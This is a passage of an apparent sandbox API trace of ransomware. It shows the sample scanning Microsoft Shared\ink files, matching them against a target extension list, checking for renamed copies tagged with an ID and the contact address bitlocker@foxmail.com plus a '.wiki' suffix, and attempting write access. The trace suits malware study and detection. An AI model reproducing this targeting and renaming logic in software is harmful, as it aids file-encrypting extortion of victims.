lpString2=".LOG") returned 1 [0147.948] lstrlenW (lpString=".bz2") returned 4 [0147.948] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0147.948] lstrlenW (lpString=".7z") returned 3 [0147.948] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0147.948] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.948] lstrlenW (lpString=".dbf") returned 4 [0147.948] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0147.948] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.948] lstrlenW (lpString=".1cd") returned 4 [0147.948] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0147.948] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.948] lstrlenW (lpString=".jpg") returned 4 [0147.948] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0147.948] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.948] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.948] lstrlenW (lpString=".doc") returned 4 [0147.948] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0147.948] lstrlenW (lpString=".docx") returned 5 [0147.948] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0147.948] lstrlenW (lpString=".pdf") returned 4 [0147.948] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0147.949] lstrlenW (lpString=".xls") returned 4 [0147.949] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0147.949] lstrlenW (lpString=".xlsx") returned 5 [0147.949] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0147.949] lstrlenW (lpString=".ppt") returned 4 [0147.949] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0147.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.949] lstrlenW (lpString=".zip") returned 4 [0147.949] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0147.949] lstrlenW (lpString=".rar") returned 4 [0147.949] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0147.949] lstrlenW (lpString=".bz2") returned 4 [0147.949] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0147.949] lstrlenW (lpString=".7z") returned 3 [0147.949] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0147.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.949] lstrlenW (lpString=".dbf") returned 4 [0147.949] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0147.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.949] lstrlenW (lpString=".1cd") returned 4 [0147.949] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0147.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0147.949] lstrlenW (lpString=".jpg") returned 4 [0147.949] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0147.949] Sleep (dwMilliseconds=0x64) [0148.152] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0148.152] lstrlenW (lpString="Content.xml") returned 11 [0148.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0148.240] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=27045) returned 1 [0148.240] CloseHandle (hObject=0x1bc) returned 1 [0148.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0148.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.241] lstrlenW (lpString=".doc") returned 4 [0148.241] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.241] lstrlenW (lpString=".docx") returned 5 [0148.241] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0148.241] lstrlenW (lpString=".pdf") returned 4 [0148.241] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.241] lstrlenW (lpString=".xls") returned 4 [0148.241] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.241] lstrlenW (lpString=".xlsx") returned 5 [0148.241] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0148.241] lstrlenW (lpString=".ppt") returned 4 [0148.241] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.241] lstrlenW (lpString=".zip") returned 4 [0148.241] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.241] lstrlenW (lpString=".rar") returned 4 [0148.241] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.241] lstrlenW (lpString=".bz2") returned 4 [0148.241] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.241] lstrlenW (lpString=".7z") returned 3 [0148.241] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.241] lstrlenW (lpString=".dbf") returned 4 [0148.241] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.241] lstrlenW (lpString=".1cd") returned 4 [0148.241] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.241] lstrlenW (lpString=".jpg") returned 4 [0148.241] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.242] lstrlenW (lpString=".doc") returned 4 [0148.242] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.242] lstrlenW (lpString=".docx") returned 5 [0148.242] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0148.242] lstrlenW (lpString=".pdf") returned 4 [0148.242] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.242] lstrlenW (lpString=".xls") returned 4 [0148.242] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.242] lstrlenW (lpString=".xlsx") returned 5 [0148.242] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0148.242] lstrlenW (lpString=".ppt") returned 4 [0148.242] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.242] lstrlenW (lpString=".zip") returned 4 [0148.242] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.242] lstrlenW (lpString=".rar") returned 4 [0148.242] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.242] lstrlenW (lpString=".bz2") returned 4 [0148.242] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.242] lstrlenW (lpString=".7z") returned 3 [0148.242] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.242] lstrlenW (lpString=".dbf") returned 4 [0148.242] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.242] lstrlenW (lpString=".1cd") returned 4 [0148.242] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0148.243] lstrlenW (lpString=".jpg") returned 4 [0148.243] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.243] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0148.243] lstrlenW (lpString="boxed-split.avi") returned 15 [0148.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.835] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=62976) returned 1 [0148.835] CloseHandle (hObject=0x1d4) returned 1 [0148.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0148.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.836] lstrlenW (lpString=".doc") returned 4 [0148.836] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.836] lstrlenW (lpString=".docx") returned 5 [0148.836] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0148.836] lstrlenW (lpString=".pdf") returned 4 [0148.836] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.836] lstrlenW (lpString=".xls") returned 4 [0148.836] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.836] lstrlenW (lpString=".xlsx") returned 5 [0148.836] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0148.836] lstrlenW (lpString=".ppt") returned 4 [0148.836] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.836] lstrlenW (lpString=".zip") returned 4 [0148.836] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.836] lstrlenW (lpString=".rar") returned 4 [0148.836] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.836] lstrlenW (lpString=".bz2") returned 4 [0148.836] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.836] lstrlenW (lpString=".7z") returned 3 [0148.836] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.836] lstrlenW (lpString=".dbf") returned 4 [0148.836] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.836] lstrlenW (lpString=".1cd") returned 4 [0148.836] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.837] lstrlenW (lpString=".jpg") returned 4 [0148.837] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.837] lstrlenW (lpString=".doc") returned 4 [0148.837] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.837] lstrlenW (lpString=".docx") returned 5 [0148.837] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0148.837] lstrlenW (lpString=".pdf") returned 4 [0148.837] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.837] lstrlenW (lpString=".xls") returned 4 [0148.837] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.837] lstrlenW (lpString=".xlsx") returned 5 [0148.837] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0148.837] lstrlenW (lpString=".ppt") returned 4 [0148.837] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.837] lstrlenW (lpString=".zip") returned 4 [0148.837] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.837] lstrlenW (lpString=".rar") returned 4 [0148.837] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.837] lstrlenW (lpString=".bz2") returned 4 [0148.837] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.837] lstrlenW (lpString=".7z") returned 3 [0148.837] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.837] lstrlenW (lpString=".dbf") returned 4 [0148.837] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.838] lstrlenW (lpString=".1cd") returned 4 [0148.838] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0148.838] lstrlenW (lpString=".jpg") returned 4 [0148.838] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.838] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0148.838] lstrlenW (lpString="kor-kor.xml") returned 11 [0148.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0149.150] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=392) returned 1 [0149.150] CloseHandle (hObject=0x1e0) returned 1 [0149.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0149.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.151] lstrlenW (lpString=".doc") returned 4 [0149.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.151] lstrlenW (lpString=".docx") returned 5 [0149.151] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0149.151] lstrlenW (lpString=".pdf") returned 4 [0149.151] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.151] lstrlenW (lpString=".xls") returned 4 [0149.151] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.151] lstrlenW (lpString=".xlsx") returned 5 [0149.151] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0149.151] lstrlenW (lpString=".ppt") returned 4 [0149.151] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.151] lstrlenW (lpString=".zip") returned 4 [0149.151] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.151] lstrlenW (lpString=".rar") returned 4 [0149.151] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.151] lstrlenW (lpString=".bz2") returned 4 [0149.151] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.151] lstrlenW (lpString=".7z") returned 3 [0149.151] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.152] lstrlenW (lpString=".dbf") returned 4 [0149.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.152] lstrlenW (lpString=".1cd") returned 4 [0149.152] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.152] lstrlenW (lpString=".jpg") returned 4 [0149.152] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.152] lstrlenW (lpString=".doc") returned 4 [0149.152] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.152] lstrlenW (lpString=".docx") returned 5 [0149.152] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0149.152] lstrlenW (lpString=".pdf") returned 4 [0149.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.152] lstrlenW (lpString=".xls") returned 4 [0149.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.152] lstrlenW (lpString=".xlsx") returned 5 [0149.152] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0149.152] lstrlenW (lpString=".ppt") returned 4 [0149.152] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.152] lstrlenW (lpString=".zip") returned 4 [0149.152] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.152] lstrlenW (lpString=".rar") returned 4 [0149.152] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.152] lstrlenW (lpString=".bz2") returned 4 [0149.152] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.152] lstrlenW (lpString=".7z") returned 3 [0149.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.152] lstrlenW (lpString=".dbf") returned 4 [0149.153] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.153] lstrlenW (lpString=".1cd") returned 4 [0149.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0149.153] lstrlenW (lpString=".jpg") returned 4 [0149.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.153] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.153] lstrlenW (lpString="base.xml") returned 8 [0149.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0149.442] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3150) returned 1 [0149.442] CloseHandle (hObject=0x21c) returned 1 [0149.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0149.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.443] lstrlenW (lpString=".doc") returned 4 [0149.443] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.443] lstrlenW (lpString=".docx") returned 5 [0149.443] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0149.443] lstrlenW (lpString=".pdf") returned 4 [0149.443] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.443] lstrlenW (lpString=".xls") returned 4 [0149.443] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.443] lstrlenW (lpString=".xlsx") returned 5 [0149.443] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0149.443] lstrlenW (lpString=".ppt") returned 4 [0149.443] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.443] lstrlenW (lpString=".zip") returned 4 [0149.443] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.443] lstrlenW (lpString=".rar") returned 4 [0149.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.443] lstrlenW (lpString=".bz2") returned 4 [0149.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.443] lstrlenW (lpString=".7z") returned 3 [0149.443] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.443] lstrlenW (lpString=".dbf") returned 4 [0149.443] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.443] lstrlenW (lpString=".1cd") returned 4 [0149.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.443] lstrlenW (lpString=".jpg") returned 4 [0149.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.444] lstrlenW (lpString=".doc") returned 4 [0149.444] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.444] lstrlenW (lpString=".docx") returned 5 [0149.444] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0149.444] lstrlenW (lpString=".pdf") returned 4 [0149.444] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.444] lstrlenW (lpString=".xls") returned 4 [0149.444] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.444] lstrlenW (lpString=".xlsx") returned 5 [0149.444] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0149.444] lstrlenW (lpString=".ppt") returned 4 [0149.444] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.444] lstrlenW (lpString=".zip") returned 4 [0149.444] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.444] lstrlenW (lpString=".rar") returned 4 [0149.444] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.444] lstrlenW (lpString=".bz2") returned 4 [0149.444] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.444] lstrlenW (lpString=".7z") returned 3 [0149.444] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.444] lstrlenW (lpString=".dbf") returned 4 [0149.444] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0149.444] lstrlenW (lpString=".1cd") returned 4 [0149.444] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 